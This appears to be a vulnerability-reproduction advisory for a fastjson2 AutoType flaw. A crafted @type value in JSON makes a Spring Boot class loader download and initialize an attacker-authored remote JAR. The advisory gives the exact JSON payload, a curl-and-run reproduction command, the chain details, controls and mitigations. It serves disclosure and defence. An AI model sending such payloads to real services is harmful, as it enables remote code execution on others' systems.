REPRO-2026-00306: Verified Reproduction
REPRO-2026-00306: fastjson2 AutoType type-resolution flaw may lead to remote code execution
REPRO-2026-00306 is verified against alibaba/fastjson2 · github. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00306.
What Is REPRO-2026-00306?
REPRO-2026-00306 is a critical-severity RCE vulnerability affecting alibaba/fastjson2. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00306).
REPRO-2026-00306 Severity
REPRO-2026-00306 is rated critical severity.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce REPRO-2026-00306
pruva-verify REPRO-2026-00306 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00306/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for REPRO-2026-00306
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
HTTP JSON body containing nested @type jar:http:..artifact:8000.probe!.POC
- POST /parse
- JSON.parseObject(body, Request.class)
- ObjectReaderSeeAlso
- ObjectReaderProvider.checkAutoType
- TypeUtils.loadClass
- Spring Boot LaunchedURLClassLoader
How the agent worked
Root Cause and Exploit Chain for REPRO-2026-00306
fastjson2 releases 2.0.0 through 2.0.62 permit attacker-controlled @type data to reach the thread context class loader from an otherwise ordinary polymorphic parse, even though the caller does not enable JSONReader.Feature.SupportAutoType. When an application model uses @JSONType(seeAlso=...), fastjson2 constructs an ObjectReaderSeeAlso whose internal feature mask enables AutoType. A subtype-map miss falls through to unrestricted class resolution, and TypeUtils.loadClass forwards the raw type name to the context class loader before assignability checks. In a Spring Boot executable-jar runtime on JDK 8, LaunchedURLClassLoader interprets a crafted jar:http: name, downloads an attacker-authored JAR, defines an attacker-authored subclass, and initializes it. This run independently demonstrated remote bytecode execution twice through a real HTTP-to-parser boundary, with plain-parse, startup SafeMode, and PR-hardening negative controls.
- Affected component:
com.alibaba.fastjson2:fastjson2, specifically polymorphic deserialization viaObjectReaderSeeAlso,ObjectReaderProvider.checkAutoType, andTypeUtils.loadClass. - Affected released versions: 2.0.0 through 2.0.62 inclusive. The run exercised all 63 Maven Central artifacts individually; every version produced one remote JAR fetch and initialized the controlled class (
bundle/logs/repro/version_sweep.tsv). - Tested primary runtime: fastjson2 2.0.62 (
7ddfd76e03bd263f4dd3a33dd403bd2387d2c801), Eclipse Temurin JDK1.8.0_452, Spring Boot loader 2.7.18,org.springframework.boot.loader.LaunchedURLClassLoader, isolated Docker network. - Risk: Critical where untrusted JSON reaches a polymorphic model under a compatible URL-resolving context class loader and outbound access is available. An attacker can supply the remote class bytes, make that class extend the application's declared base type, and place arbitrary Java bytecode in its static initializer.
- Observed consequence: Remote attacker-authored bytecode ran in the target JVM and wrote a unique target-local marker. The proof class intentionally performs only a bounded marker write; the primitive is equivalent to arbitrary JVM code execution.
- Important preconditions: A parser-reachable polymorphic type (the proof uses
@JSONType(seeAlso={Dog.class})), a compatible Spring Boot executable-JAR-style context class loader, JDK 8 for the direct URL-shaped binary-name chain, outbound reachability to the attacker-controlled artifact, and SafeMode disabled. The ordinary parser call does not explicitly enable AutoType. - Runtime boundary: A real HTTP request handler passes the attacker body to
JSON.parseObject(body, Request.class). The artifact service and target communicate only over a private Docker network.
Impact Parity
- Disclosed/claimed maximum impact: Remote code execution.
- Reproduced impact: Remote attacker-authored class fetch, definition, static initialization, and target-local marker write in two fresh target JVMs.
- Parity:
full. - Not demonstrated: This bounded proof did not launch an operating-system process, access third-party systems, or test the disclosed all-JDK chain. It proves arbitrary JVM bytecode execution on the tested JDK 8/Spring Boot loader configuration. Modern JDK behavior and alternate loaders remain separate runtime questions.
Root Cause
The vulnerability is a composition of four behaviors:
- A normal polymorphic model silently supplies
SupportAutoType.ObjectReaderSeeAlsopassesJSONReader.Feature.SupportAutoType.maskto its superclass. This behavior is present from the first 2.0.0 release even when the application invokesJSON.parseObject(body, Request.class)with no feature argument. - Unknown subtype names fall through to global AutoType resolution. When the attacker-controlled type does not match a declared
seeAlsosubtype, the reader asks the provider for an AutoType reader instead of treating the name as unauthorized. - Raw names reach class loading before policy checks. In 2.0.62,
ObjectReaderProvider.checkAutoTypereachesloadClass(typeName)before the expected-base assignability decision.TypeUtils.loadClasssends the unvalidated string toThread.currentThread().getContextClassLoader().loadClass(className). The released code does not reject URL-special:or!characters. - Spring Boot's loader gives the string location semantics. The tested
LaunchedURLClassLoaderresolves the crafted binary namejar:http:..artifact:8000.probe!.POCas a class in a remotely retrieved JAR. The remote class is attacker-authored to extend the declaredAnimalbase, so assignment succeeds, and static initialization executes in the target JVM.
The application-visible configuration is therefore misleading: fastjson2 documents AutoType as disabled by default, yet the polymorphic reader internally enables it. A plain JSON.parse of the identical body is inert, proving that the polymorphic reader is the enabling boundary.
Hardening boundary
- Closed PR #7695 commit:
6fc6f9502b68f7cb6057067217ea057d6a58b083 - Superseding open PR #7703 commit:
5552cad1b132a88e7592f487988649835318a8d3 - Relevant production code is byte-identical between these commits (
bundle/logs/repro/pr7695_vs_pr7703.log). - The hardening rejects type names containing
:or!inObjectReaderProvider,ContextAutoTypeBeforeHandler, andTypeUtils, and adds exact textual verification after allowlist hash matches. - The current-run patched negative control applies those exact production classes to 2.0.62. The same request is rejected with
autoType is not support, causes zero artifact fetches, and creates no marker (bundle/logs/repro/patch_control_summary.log). - Neither commit is an ancestor of the tested main branch, and no released version through 2.0.62 contains the hardening (
bundle/logs/repro/source_identity.log). Thus there is no fixed released version in the tested range.
Public fix references:
Reproduction Steps
Run
bundle/repro/reproduction_steps.shfrom the bundle root:chmod +x bundle/repro/reproduction_steps.sh bundle/repro/reproduction_steps.shThe script independently builds:
- a released fastjson2 2.0.62 target on JDK 8;
- a real Spring Boot 2.7.18
LaunchedURLClassLoaderruntime; - an HTTP parsing endpoint calling
JSON.parseObject(body, Request.class)with no explicit AutoType feature; - a private artifact service containing a uniquely marked, attacker-authored subclass whose static initializer writes only a target-local proof file.
It first sends the same body through plain
JSON.parseas a negative control. It then sends:{"pet":{"@type":"jar:http:..artifact:8000.probe!.POC"}}through the polymorphic API and requires all of the following before exiting 0:
- the target HTTP path was reached;
- the artifact server observed a fetch;
- the target log recorded remote static initialization;
- the fresh target-local marker contains the per-run nonce.
It restarts the target with
-Dfastjson2.parser.safeMode=truesupplied to the actual JVM at startup and repeats the identical request. The control must cause neither a fetch nor a marker.Optional boundary scripts used in this run:
bundle/repro/version_sweep.shtests every release 2.0.0–2.0.62.bundle/repro/patch_control.shtests the exact PR #7695/#7703 production hardening against the same input.
Expected successful primary output includes:
RESULT=CONFIRMED
FASTJSON2_ARTIFACT=2.0.62
JVM=8
CLASSLOADER=org.springframework.boot.loader.LaunchedURLClassLoader
EXPLICIT_SUPPORT_AUTOTYPE=false
REMOTE_FETCH_COUNT_AFTER_POSITIVE=1
PLAIN_CONTROL_MARKER=false
SAFEMODE_ACTIVE=true
SAFEMODE_FETCH_DELTA=0
SAFEMODE_MARKER=false
Evidence
Two independent positive runs
bundle/logs/repro/run1/proof_summary.logbundle/logs/repro/run1/positive_marker.jsonbundle/logs/repro/run1/positive_artifact.logbundle/logs/repro/run1/positive_target.logbundle/logs/repro/run1/runtime_info.jsonbundle/logs/repro/run1/SHA256SUMSbundle/logs/repro/run2/proof_summary.logbundle/logs/repro/run2/positive_marker.jsonbundle/logs/repro/run2/positive_artifact.logbundle/logs/repro/run2/positive_target.logbundle/logs/repro/run2/runtime_info.jsonbundle/logs/repro/run2/SHA256SUMS
Run 1 marker:
{"markerPresent":true,"content":"FJ2_REMOTE_BYTECODE_EXECUTED_2186"}
Run 2 marker:
{"markerPresent":true,"content":"FJ2_REMOTE_BYTECODE_EXECUTED_run2"}
Both artifact logs contain exactly one ARTIFACT_FETCH, and both target logs contain REMOTE_BYTECODE_STATIC_INITIALIZER_RAN.
Negative controls
- Plain parser:
bundle/logs/repro/run2/plain_control_response.jsonreturns a normalJSONObject;plain_control_marker.jsonis false, and no fetch occurs. - Startup SafeMode:
bundle/logs/repro/run2/safemode_response.jsonreturnsJSONException;safemode_marker.jsonis false, and fetch delta is zero. - PR hardening:
bundle/logs/repro/patch_control_response.json,patch_control_marker.json,patch_control_artifact.log, andpatch_control_summary.logshow explicit rejection, zero fetches, and no marker.
Version boundary
bundle/logs/repro/version_sweep.tsv: 63 per-version rows, each classifiedcode_execution.bundle/logs/repro/version_sweep_summary.txt:code_execution=63.bundle/logs/repro/version_sweep/jar_sha256s.txt: exact SHA-256 values for all downloaded artifacts.bundle/logs/repro/version_sweep_console.log: sweep exit 0.
Source and runtime identity
bundle/logs/repro/source_identity.logbundle/logs/repro/pr7703.patchbundle/logs/repro/pr7695_vs_pr7703.logbundle/logs/repro/patched_jar_sha256.txt- Runtime info records fastjson2 artifact 2.0.62, Java 1.8.0_452,
LaunchedURLClassLoader, and the SafeMode property. - Note: the library's
JSON.VERSIONconstant reports2.0.61inside the 2.0.62 artifact; the script separately records the exact Maven artifact version.
Public relationship
The finding is classified as duplicate, not novel. The overall fastjson2 RCE was publicly disclosed by Chaitin and tracked in issue #7702. A public independent lab also documents this exact ObjectReaderSeeAlso/Spring Boot/JDK 8 mechanism:
- https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA
- https://github.com/alibaba/fastjson2/issues/7702
- https://github.com/dinosn/fastjson-jsontype-rce-lab/tree/master/fastjson2
Recommendations / Next Steps
- Immediate mitigation: Start every affected JVM with
-Dfastjson2.parser.safeMode=true(or the compatible-Dfastjson.parser.safeMode=true) before fastjson2 classes initialize. This run verified that startup SafeMode blocks both resource fetch and execution. Setting the property after initialization is not equivalent. - Restrict egress: Deny application JVMs unnecessary outbound HTTP/DNS access. This blocks the demonstrated remote-JAR component but should be defense in depth rather than the sole fix.
- Do not rely on default AutoType state: Audit all public parsing paths involving
@JSONType(seeAlso), Jackson subtype annotations, sealed types, untyped members, or custom AutoType handlers. The demonstrated caller never explicitly enabledSupportAutoType. - Code fix: Reject non-Java binary names before any class-loader call, canonicalize names before policy evaluation, enforce exact textual allowlist matches, and do not allow a declared-subtype miss to fall through into unrestricted global AutoType resolution.
- Release guidance: No tested released version through 2.0.62 contains the hardening. Ship and consume an official release containing the final reviewed fix; do not treat the closed PR #7695 branch itself as a supported release.
- Regression tests: Exercise the exact production boundary with a real Boot loader and assert no network fetch—not merely a parser exception. Include SafeMode, plain parsing, unknown
seeAlsonames, allowlist misses, JDK 8, and modern-JDK/loader combinations. - Modern runtime analysis: Independently test JDK 11/17/21 and modern Spring Boot loaders for the reportedly stronger all-JDK chain. This report does not infer those results from the JDK 8 proof.
Additional Notes
- Idempotency: The primary script completed successfully twice in fresh runtimes with distinct nonces. Run 1 used
FJ2_REMOTE_BYTECODE_EXECUTED_2186; run 2 usedFJ2_REMOTE_BYTECODE_EXECUTED_run2. - Safety: The payload is generated locally for this proof and only writes a unique marker inside the target's temporary filesystem and logs a fixed token. Services run unprivileged, read-only, with dropped capabilities and an internal Docker network.
- Impact wording: Static initialization of attacker-authored remote bytecode is reported as code execution. No operating-system command was needed to establish that capability.
- Configuration boundary: Full direct code execution was demonstrated specifically on JDK 8 with Spring Boot 2.7.18's loader. Ordinary classpath parsing and the identical plain-parser input were inert.
- Hypothesis scope: The highest-priority special-name fat-JAR hypothesis was confirmed. Lower-priority dossier hypotheses were not needed to establish the requested maximum impact and are preserved in the private hypothesis ledger.
REPRO-2026-00306 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for REPRO-2026-00306
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix REPRO-2026-00306
FAQ: REPRO-2026-00306
Is REPRO-2026-00306 exploitable?
How severe is REPRO-2026-00306?
How can I reproduce REPRO-2026-00306?
Is the REPRO-2026-00306 reproduction verified?
References for REPRO-2026-00306
Authoritative sources for REPRO-2026-00306 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.